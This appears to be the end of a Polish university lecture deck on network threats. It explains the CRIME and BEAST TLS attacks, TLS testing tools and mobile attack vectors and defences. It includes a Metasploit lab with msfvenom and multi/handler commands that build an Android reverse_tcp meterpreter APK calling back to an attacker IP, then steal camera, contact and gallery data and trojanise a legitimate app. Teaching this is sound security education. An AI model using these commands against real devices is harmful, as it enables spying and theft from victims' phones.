⚫ Dodatki do Firefoks: HTTPS Everywhere oraz Force TLS, które “chronią” ciastka poprzez wymuszanie połączeń HTTPS z serwerami (o ile te je wspierają!).
Zagrożenia w Sieciach Komputerowych 81
CRIME
⚫ Atak ten został opracowany przez Juliano Rizzo oraz Thai Duong i opublikowany na Ekoparty w 2012 roku w Argentynie.
⚫ Atak na sesje szyfrowane za pomocą rodziny protokołów SSL/TLS.
Zagrożenia w Sieciach Komputerowych 82
CRIME
Zastosowane narzędzia:
⚫ Java
⚫ Sniffer sieciowy
⚫ Przeglądarka internetowa (MITB)
⚫ Plaintext wstrzyknięty do przeglądarki
Ujawnienie ID sesji z ciasteczka.
Zagrożenia w Sieciach Komputerowych 83
CRIME
⚫ Pierwszym etapem ataku jest wstrzyknięcie w przeglądarkę ofiary krótkiego kodu napisanego w JavaScript, który pozwoli generować ruch w atakowanym komputerze.
⚫ Drugim krokiem jest podsłuch generowanego ruchu, na przykład przez atak typu ARP Spoof.
Zagrożenia w Sieciach Komputerowych 84
CRIME
⚫ Cel: odgadnięcie zawartości szyfrowanego ciasteczka.
⚫ Tylko gdy: komunikacja jest kompresowana za pomocą jednego z algorytmów, na przykład DEFLATE.
Zagrożenia w Sieciach Komputerowych 85
CRIME
⚫ Komunikacja z bankiem o adresie nazwabanku.pl, przeglądarka wysyła w każdym żądaniu:
Host: nazwabanku.pl Cookie: sessid=4x312dg3wadv
Szyfrowane powiązanie żądania z user’em!
Zagrożenia w Sieciach Komputerowych 86
CRIME
⚫ Wymuszenie wysłania (modyfikacja żądania) klienta:
sessid=4
oraz
sessid=7
Zagrożenia w Sieciach Komputerowych 87
CRIME
⚫ Następnie kompresja DEFLATE.
⚫ Co da krótszy szyfrogram??? ☺
⚫ Problem – dane kontrolowane przez atakującego są kompresowane wspólnie z poufnymi danymi.
Zagrożenia w Sieciach Komputerowych 88
CRIME
⚫ Rozwiązanie:
⚫ Wyłączenie kompresji, ale 42% serwerów web ma ją włączoną, choć 93% przeglądarek ma ją wyłączona (głównie dzięki aktualizacjom).
Zagrożenia w Sieciach Komputerowych 89
http://www.youtube.com/watch?v=gGPhHYyg9r4
BEAST
⚫ Atak ten został opracowany przez Juliano Rizzo oraz Thai Duong i opublikowany na Ekoparty w 2011r.
⚫ Atak na sesje szyfrowane za pomocą rodziny protokołów SSL/TLS.
Zagrożenia w Sieciach Komputerowych 90
BEAST
Zastosowane narzędzia:
⚫ Java
⚫ Sniffer sieciowy
⚫ Przeglądarka internetowa (MITB)
⚫ Plaintext wstrzyknięty do przeglądarki
Ujawnienie ID sesji z ciasteczka.
Zagrożenia w Sieciach Komputerowych 91
BEAST – wymagane podaności
⚫ SSLv3 lub TLSv1 używające szyfrowania CBC.
⚫ Błąd w Java SOP - System.out.println().
Zagrożenia w Sieciach Komputerowych 92
BEAST
⚫ Dlaczego sessid jest taki ważny i
pożądany?
⚫ Nagłówek HTTP jest przewidywalny, zawiera także dane z ciasteczka, coś w stylu:
Cookie: sessid=5ec20c5e8c2ebe595ab0
Zagrożenia w Sieciach Komputerowych 93
BEAST
⚫ Wyrównanie:
⚫ BEAST wysyła żądania różnej długości (z zaatakowanego hosta) aż osiągnie podział na bloki jak poniżej:
|Cookie: |sessid=5|ec20c5e8|c2ebe595|ab0
⚫ Teraz BEAST może rozpocząć odgadywanie pierwszej liczby z sessid.
⚫ Jeśli to hex to ma 16 możliwości… zakłada np. 5.
Zagrożenia w Sieciach Komputerowych 94
BEAST
⚫ Interesujący blok do szyfrowania w hex może wyglądać:
7365737369643d35
⚫ Niech poprzedni blok zaszyfrowany będzie wyglądał tak:
de3bedcee3ade70a
⚫ XOR obu danych:
ad5e9ebd8ac9da3f
⚫ Szyfrogram tego XOR:
0165b037d2e44954
⚫ Jeśli wartość została odgadnięta prawidłowo to przeglądarka zaszyfruje ad5e9ebd8ac9da3f i otrzyma 0165b037d2e44954
Zagrożenia w Sieciach Komputerowych 95
BEAST
⚫ A teraz sprawdzenie czy tak faktycznie jest….
⚫ Ostatni zaszyfrowany blok:
F4e52a1a9f11f116
⚫ Beast wstrzykuje do przesłania (do szyfrowania) tekst jawny:
59bbb4a715d82b29
taki aby XOR jego z szyfrogramem dał: ad5e9ebd8ac9da3f
⚫ Jeśli szyfrogram będzie miał wartość:
0165b037d2e44954
⚫ Wartość 5 została odgadnięta prawidłowo… ☺
Zagrożenia w Sieciach Komputerowych 96
DROWN
⚫ https://niebezpiecznik.pl/post/drown-nowy-atak-na-protokol-https-tlssslv2/
⚫ https://drownattack.com/
Zagrożenia w Sieciach Komputerowych 97
TestSSLServer
⚫ Program TestSSLServer został opracowany przez Thomasa Pornina i sprawdza strony internetowe pod kątem zabezpieczeń rodziną protokołów SSL/TLS.
Zagrożenia w Sieciach Komputerowych 98
TestSSLServer
Zagrożenia w Sieciach Komputerowych 99
https://www.howsmyssl.com
Zagrożenia w Sieciach Komputerowych 100
Qualys
⚫ https://www.ssllabs.com/
⚫ https://github.com/ssllabs/research/wiki/SSL-and-TLS-Deployment-Best-Practices
Zagrożenia w Sieciach Komputerowych 101
Bezpieczeństwo połączeń SSL
⚫ „Protokół SSL/TLS i kryptografia są BARDZO DOBRE!
⚫ Działania NSA polegają na:
⚫ Znanych przez wszystkich atakach słownikowych mających na celu odgadnięcie hasła.
⚫ Wprowadzaniu backdoorów do oprogramowania lub urządzeń, zazwyczaj poprzez oficjalny kontakt z producentami.
⚫ Przekabacaniu pracowników firm IT.
⚫ Projektowaniu słabości w standardach i naciskach, które umożliwią wejście tych słabości do powszechnego użytku.
⚫ Włamywaniu się do twojego komputera i uzyskiwaniu dostępu do zaszyfrowanych treści przed ich zaszyfrowaniem lub po ich rozszyfrowaniu.”
Zagrożenia w Sieciach Komputerowych 102
http://niebezpiecznik.pl/post/nsa-jest-w-stanie-rozszyfrowywac-polaczenia-ssl-4g-vpn-i-ssh-czy-to-koniec-bezpiecznej-komunikacji-w-internecie/
Mobile
Zagrożenia w Sieciach Komputerowych 103
Czy łatwo jest przygotować atak?
Zagrożenia w Sieciach Komputerowych 104
Android vs Metasploit
------------------------------------------------------------------
Serwer nasłuchujący połączeń od ofiar - nowe okno metasploit
search type:exploit platform:android
use exploit/multi/handler
show payloads
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST Public_IP_Address(attacker)
set LPORT Port_NR
show options
exploit
------------------------------------------------------------------
Zagrożenia w Sieciach Komputerowych 105
Android vs Metasploit
------------------------------------------------------
Apka na Android ze złośliwym kodem (reverse_tcp) - nowe okno metasploit
msfvenom -p android/meterpreter/reverse_tcp --platform android -o /root/application.apk LHOST=Public_IP_Address(attacker) LPORT=Port_NR
---------------------------------------------------
Zagrożenia w Sieciach Komputerowych 106
Android vs Metasploit
------------------------------------------------------
Dostarczyć Apkę na system ofiary (np. wystawić poprzez serwer WWW)
Instalacja Apki na urządzeniu ofiary (podać prowadzącemu namiary na Apkę)
Powrót do Serwera nasłuchującego połączeń... czy nastąpiło połączenie od ofiary?
------------------------------------------------------
Zagrożenia w Sieciach Komputerowych 107
Android vs Metasploit
------------------------------------------------------
help
⚫ Zrobić aktualne zdjęcie z kamery
⚫ Pobrać kontakty (można zadzwonić ;) )
⚫ Pobrać film lub zdjęcie z Galerii
------------------------------------------------------
https://www.shellvoide.com/hacks/how-to-hack-an-android-smartphone-with-metasploit-over-wan-internet/
https://thehackrspace.com/hack-android-msfvenom/
Zagrożenia w Sieciach Komputerowych 108
Przykład: dodanie złośliwego kodu do oryginalnej aplikacji
⚫ Czego potrzeba?
⚫ APKTOOLS (kompilator/dekompilator)
⚫ Oryginalny program (pobrany z play.google.com)
⚫ payload (utworzony samodzielnie w metasploit)
⚫ Dekompilacja pliku zawierającego metasploit payload.
⚫ Dekompilacja pliku z oryginalną aplikacją.
⚫ Wgranie najważniejszych plików z aplikacji metasploitdo oryginalnego programu.
⚫ Skompilowanie połączonych plików w nową wersję aplikacji.
Zagrożenia w Sieciach Komputerowych 109
3 główne wektory ataku kierowane na urządzenia mobilne
⚫ zainfekowane aplikacje,
⚫ ataki sieciowe,
⚫ eksploity systemu operacyjnego.
Zagrożenia w Sieciach Komputerowych 110
5 głównych kategorii ataków i podatności, na które narażone są urządzenia mobilne
⚫ Luki systemu operacyjnego: szczególnie Android, bo dużo wersji i baaaardzo szeroki zakres obsługiwanych urządzeń.
⚫ Dostęp root i zmiany konfiguracji: rooting, jailbreak (większe możliwości dla entuzjastów oraz cyberprzestępców) -wykorzystanie takiego dostępu może być praktycznie niewidoczne dla użytkownika.
⚫ Przepakowane lub fałszywe aplikacje: fałszywe aplikacje wyglądają jak prawdziwe, ale posiadają dodatkowe, złośliwe funkcje.
⚫ Trojany i złośliwe oprogramowanie: umieszczanie złośliwego kodu w załącznikach i aplikacjach - ważne! mniejszy ekran, mniej detali, mniejsze szanse ze coś wzbudzi nasze podejrzenia!
⚫ Ataki typu MitM „człowiek w środku”: przechwytywanie, modyfikacji ruchu sieciowego - także fałszywe sieci WiFi
Zagrożenia w Sieciach Komputerowych 111
Dodatkowo
⚫ ukrywanie aplikacji i opóźnianie uruchomienia aby jak najdłużej pozostać na urządzeniu,
⚫ nadmiarowość - wiele technik ataków w jednym malware,
⚫ droppery - złośliwy kod ściągany dopiero po pobraniu i ściągnięciu aplikacji ze sklepu (aby obejść jego zabezpieczenia),
⚫ obfuskacja - zaciemnianie kodu (np. szyfrowanie) bo w końcu ileż można mieć 0-day a znane ataki są już rozpoznawane.
Zagrożenia w Sieciach Komputerowych 112
Ochrona
⚫ Android for Work
⚫ urządzenie firmowe: VPN do sieci firmowej (tak aby ruch przechodził przez mechanizmy bezpieczeństwa sieci firmowej)
⚫ AAA / NAC / Policy Manager
⚫ Mobile Device Management (MDM)
⚫ Enterprise Mobility Management (EMM)
⚫ inne…
Zagrożenia w Sieciach Komputerowych 113
Ochrona
⚫ Network Access Control & AAA & Policy Manager
⚫ Aruba ClearPass: http://www.arubanetworks.com/products/security/network-access-control/
⚫ MDM/EMM
⚫ MobileIron: https://www.mobileiron.com/
⚫ FAMOC: http://www.fancyfon.pl/
Zagrożenia w Sieciach Komputerowych 114
Biometria…
⚫ Odcisk palca:
https://imgur.com/gallery/8aGqsSu
⚫ Tęczówka oka:
https://arstechnica.com/information-technology/2017/05/breaking-the-iris-scanner-locking-samsungs-galaxy-s8-is-laughably-easy/
Zagrożenia w Sieciach Komputerowych 115
116
KONIEC
Zagrożenia w sieciach komputerowych
Zagrożenia w Sieciach Komputerowych